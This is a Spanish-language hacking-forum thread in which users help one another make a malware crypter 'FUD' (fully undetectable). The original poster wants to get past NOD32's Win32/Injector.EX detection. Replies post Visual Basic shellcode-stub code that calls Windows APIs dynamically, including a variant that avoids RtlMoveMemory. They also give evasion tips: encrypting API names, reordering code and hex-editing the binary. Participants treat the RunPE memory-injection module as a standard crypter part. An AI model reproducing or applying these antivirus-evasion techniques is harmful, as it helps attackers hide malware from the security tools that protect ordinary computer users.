Bueno, estoy liado con un crypter... ya he quitado todas las firmas, solo me queda nod32 y lleva dias resistiendoseme... ¿los que programais en vb, como lo habeis quitado?

Esta es la firma que me da: Win32/Injector.EX

A ver si me podeis tirar un cable, si no quereis por aquí, por mp, pero una ayudita me vendría genial.
lo que detecta es el runpe ( injecion en memoria ) por eso te salta como injector ..

[Enlace externo eliminado para invitados]
saludos
http://www.freundt-esta-aburrido.blogspot.com
al-hacker escribió:lo que detecta es el runpe ( injecion en memoria ) por eso te salta como injector ..

[Enlace externo eliminado para invitados]
saludos

Yá... pero ese post, no te dice como quitar las declaraciones del Runpe, porque lo que pone abajo del RUNPE para nosequé cosa está mal o eso parece, no ?
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
Vamos a juntarnos los melones. ¿Quienes de aquí programan en vb a machete? Por si quereis agregarme al msn, y así vamos poniendonos al día de truquitos e historias que siempre estan bien conocer. (enviad mensaje privado pal tema de msn).


Siguiente parte, yo no sé que es metodo rit, ni metodo porfaplis, por que no se me da bien el tema de crackear historias. Sé lo básico, para nags, para keys, y poco más por que alguna vez lo he usado para pasar el rato, pero no me gusta, quiero hacerlo desde código, que entraña más tiempo, más habilidad, pero es "para siempre".

2º ¡claro que uso callbyname, para las apis! El fallo lo tengo ahí, me detecta
a) cuando ejecuto el injector, o runpe. (todo lo tengo con otros nombres, todas las variables, y todo correctamente encriptado con rc4).
b)me detecta RtlMoveMemory. Sí, he probado a llamarlo usando un "alias". Tampoco me funciona.

Ya por así decirlo no me detecta el runpe, me detecta el callbyname XD, pues si quito el callbyname, volvería a funcionarme todo OK. Y justo en esa parte no puedo usar el callbyname.


Pongo code para que lo mireis. (No es el mio, el mio ya le he modificado prácticamente todo salvo las llamadas a rtlmove...)

Código: Seleccionar todo

Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
    Dim lPtr                As Long
    Dim bvASM(&HEC00& - 1)  As Byte
    Dim i                   As Long
    Dim lMod                As Long
    
    lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
    If lMod = 0 Then Exit Function
    
    lPtr = VarPtr(bvASM(0))
    RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr = lPtr + 4
    RtlMoveMemory ByVal lPtr, &H5059, &H2:                  lPtr = lPtr + 2
    For i = UBound(Params) To 0 Step -1
        RtlMoveMemory ByVal lPtr, &H68, &H1:                lPtr = lPtr + 1
        RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4:     lPtr = lPtr + 4
    Next
    RtlMoveMemory ByVal lPtr, &HE8, &H1:                    lPtr = lPtr + 1
    RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4:         lPtr = lPtr + 4
    RtlMoveMemory ByVal lPtr, &HC3, &H1:                    lPtr = lPtr + 1
    CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function
Bueno, perdonad la "chapa". A ver quien se lleva el caramelito guapo. Ya sabeis que suelo publicaros mis aplicaciones, por lo que en mejor o peor medida, esto finalmente nos beneficia a todos.
Bueno, para vuestra información (viendo que estais todos sobaos).

Comentando cualquier linea de RtlMoveMemory, queda 100% fud... ahora bien, estoy pensando como coño hacer para dejarle fud sin comentarla jajaja

Código: Seleccionar todo

'---------------------------------------------------------------------------------------
' Module      : mCallAPI
' DateTime    : 07/12/2008 23:22
' Author      : Cobein
' Mail        : [email protected]
' WebPage     : http://www.advancevb.com.ar
' Purpose     : A call api variation without using RtlMoveMemory
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Credits     : Rm_code
'
' History     : 07/12/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Public Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
    Dim bvASM(64)   As Byte 'enought to hold code + 10 params
    Dim i           As Long
    Dim lPos        As Long
    Dim sVal        As String

    bvASM(0) = &H58: bvASM(1) = &H59: bvASM(2) = &H59
    bvASM(3) = &H59: bvASM(4) = &H59: bvASM(5) = &H50
    
    lPos = 6
    
    For i = UBound(Params) To 0 Step -1
        bvASM(lPos) = &H68: lPos = lPos + 1
        sVal = (Params(i)): GoSub PutLong: lPos = lPos + 4
    Next
    
    bvASM(lPos) = &HE8: lPos = lPos + 1
    sVal = GetProcAddress(LoadLibraryA(sLib), sMod) - VarPtr(bvASM(lPos)) - 4
    GoSub PutLong: lPos = lPos + 4
    bvASM(lPos) = &HC3
    CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
    
    Exit Function
PutLong:
    'This is cheap replacement for RtlMoveMemory/putmem4 (hi/lo word/byte)
    sVal = Right$(String(8, "0") & Hex(sVal), 8)
    bvASM(lPos + 0) = ("&h" & Mid$(sVal, 7, 2))
    bvASM(lPos + 1) = ("&h" & Mid$(sVal, 5, 2))
    bvASM(lPos + 2) = ("&h" & Mid$(sVal, 3, 2))
    bvASM(lPos + 3) = ("&h" & Mid$(sVal, 1, 2))
    Return
End Function
Pues yo no se hacer funcionar el CallApyByname + Runpe , usé los que postearon en el foro de HackHound, probé con urldownloadfile etc y funciona muy bien , pero con el Runpe que comentaron en eese mismo post, un poco mas abajo , pues no me funciona xD o nosé hacerla funcionar... xD
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
Joder macho, la tenéis gorda en éste foro con el maldito módulo RunPe eh? . Todo lo que leo es de ese módulo, a ver si en verano hago un tuto pasito por pasito para que entendáis que es lo que hace y así dejéis de usarlo de una vez!! .

Saludos
Zerito... ¿Qué necesitas que te quite de trabajo para que de verdad, saques a la palestra esa explicación? Yo, soy librero, no programador, por lo tanto soy necio, y tristemtente no entiendo como funciona realmente ese modulo, ni como implementarme uno propio. Tambien decir que desde siempre agradezco toda la ayuda al movimiento a Cobein. Un crack, un genio, en algunas culturas, un dios.
Mira, yo tampoco soy programador, y bastante necio también lo soy, muy a mi pesar. Lo que te dije no te lo dije por ofender, sinó para animarte a entender el código. Entiendo tu situación porque como todos pasé por ello, veo módulo en vb con un código complicado y me limito a usarlo y punto. Vale, hasta aquí perfecto, el problema es cuando necesitas saber que es lo que hace el source para poder modificarlo, sabiendo que es lo que hace, lo puedes hacer en 5 mins, pero si no lo sabes, en mi opinión, lo mejor es intentar descubrirlo. Sé que no hay mucha información, por eso a ver si en verano hago ese tutorial para que la gente deje de pensar que el módulo RunPe es indispensable para hacer un crypter, y podáis todos crear de 0 vuestro módulo para inyectar en memoria.

También te contestaré a la pregunta, fuí un poco insolente al no hacerlo la primera vez. Nod32, lo más probable, es que te detecte las apis, direcciones de variables o direcciones de funciones, como dice memo. Para saltartelo es necesario cambiar de orden las variables, cambiar de orden las funciones y encriptar el nombre de las apis para llamarlas con GetProcessAdress. Seguro si buscas sobre esa api encuentras posts de gente con tu mismo problema y seguro alguien también escribió algún tutorial o algún módulo para hacerlo.

Saludos
Bueno, comentar que no me ofendo en absoluto, me encanta dialogar con la gente y aprender, si bien muchas veces me gusta ser un poco vacilon y tocar las narices, por picar un poco, pero siempre de buen rollito.

Respondiendo a todos los interesados, finalmente para nod32 lo saque por hex. El resto de los avs, desde código, con ratitos libres. Del modulo entiendo "bastante", si bien, no soy un pro, ni podría hacer un manual, pues tengo vacios muy grandes, y quedaría muy mal mi explicación, pero estoy seguro de que un bunen manual para todos nos vendría genial.
Responder

Volver a “VB/.NET”